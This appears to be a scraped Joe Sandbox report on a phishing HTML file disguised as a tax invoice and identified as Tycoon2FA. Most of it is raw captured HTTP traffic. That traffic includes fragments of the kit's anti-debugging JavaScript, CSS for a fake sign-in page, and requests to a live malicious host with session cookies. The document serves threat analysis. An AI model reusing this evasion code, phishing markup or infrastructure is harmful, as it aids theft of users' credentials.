2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 7d 29 3b 0d 0a 43 41 4b 46 52 45 4e 72 78 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 42 68 72 48 6d 55 51 6e 6a 61 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 6b 51 67 6c 6f 4f 61 43 47 6e 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 6f 61 4f 4c 63 6a 48 74 6d 6a 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 45 6e 7a 52 77 64 4a 77 65 76 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 78 77 Data Ascii: ntDefault(); return false;});CAKFRENrxd = false;(function BhrHmUQnja() { let kQgloOaCGn = false; const oaOLcjHtmj = 100; setInterval(function() { const EnzRwdJwev = performance.now(); debugger; const xw
2025-03-16 23:37:58 UTC	977	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c Data Ascii: "></div><div class="s s2"></div><div class="s s3"></div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div><
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 32 62 64 38 0d 0a 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 Data Ascii: 2bd8</path><path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.9
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 2e 33 36 38 2e 38 32 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 Data Ascii: .368.82.826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.64
2025-03-16 23:37:58 UTC	1369	IN	Data Raw: 32 33 36 4d 39 38 2e 31 34 39 20 39 2e 34 38 56 37 2e 37 35 32 68 2d 32 2e 31 34 34 56 35 2e 30 36 39 6c 2d 2e 30 37 32 2e 30 32 32 2d 32 2e 30 31 35 2e 36 31 36 2d 2e 30 33 38 2e 30 31 32 76 32 2e 30 33 34 68 2d 33 2e 31 37 37 56 36 2e 36 32 63 30 2d 2e 35 32 37 2e 31 31 38 2d 2e 39 33 31 2e 33 35 31 2d 31 2e 32 2e 32 33 2d 2e 32 36 36 2e 35 36 2d 2e 34 30 32 2e 39 38 32 2d 2e 34 30 32 2e 33 30 33 20 30 20 2e 36 31 36 2e 30 37 32 2e 39 33 31 2e 32 31 33 6c 2e 30 37 39 2e 30 33 35 56 33 2e 34 34 37 6c 2d 2e 30 33 37 2d 2e 30 31 33 63 2d 2e 32 39 34 2d 2e 31 30 35 2d 2e 36 39 35 2d 2e 31 35 39 2d 31 2e 31 39 2d 2e 31 35 39 2d 2e 36 32 36 20 30 2d 31 2e 31 39 34 2e 31 33 36 2d 31 2e 36 38 39 2e 34 30 36 2d 2e 34 39 35 2e 32 37 2d 2e 38 38 36 2e 36 35 35 2d Data Ascii: 236M98.149 9.48V7.752h-2.144V5.069l-.072.022-2.015.616-.038.012v2.034h-3.177V6.62c0-.527.118-.931.351-1.2.23-.266.56-.402.982-.402.303 0 .616.072.931.213l.079.035V3.447l-.037-.013c-.294-.105-.695-.159-1.19-.159-.626 0-1.194.136-1.689.406-.495.27-.886.655-

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Windows Analysis Report
41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1344	OUT	GET /347WeLicXabmKi8920 HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:38:00 UTC	1078	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:38:00 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="347WeLicXabmKi8920" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fc7fxfpdLOy7zkNw4NJN0SsboBExT7qKIqBFt2ZfVUbPzD0l3LRo06W18ifSepeZ%2B6yMdL4fLKj7YD6Ny4qO557l5ukxauOerdI5zzCgdulAwsQhlVjYQZ6moxJgQKuiKKUP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=324&min_rtt=311&rtt_var=111&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2255&delivery_rate=10870967&cwnd=252&unsent_bytes=0&cid=9d5f03b3beba8345&ts=171&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921814e4f85fc335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1607&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1916&delivery_rate=1737061&cwnd=157&unsent_bytes=0&cid=65ab1cccf671b48d&ts=340&x=0"
2025-03-16 23:38:00 UTC	291	IN	Data Raw: 33 37 62 38 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b8#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 47 Data Ascii: ageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",G
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 35 70 74 3b 6d 61 72 Data Ascii: area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971.25pt;mar
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 Data Ascii: n-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:rotate(15
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 61 75 74 Data Ascii: ght:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-bottom:aut
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 31 30 70 Data Ascii: tions_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;height:110p
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 Data Ascii: .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider .choseema
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 29 Data Ascii: in .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0,0,0,.37)
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6d 61 72 67 69 6e 2d Data Ascii: doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;margin-
2025-03-16 23:38:00 UTC	1369	IN	Data Raw: 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c Data Ascii: -from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#sections .l

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1343	OUT	GET /ab0fLnPpqMj9Kef24 HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; 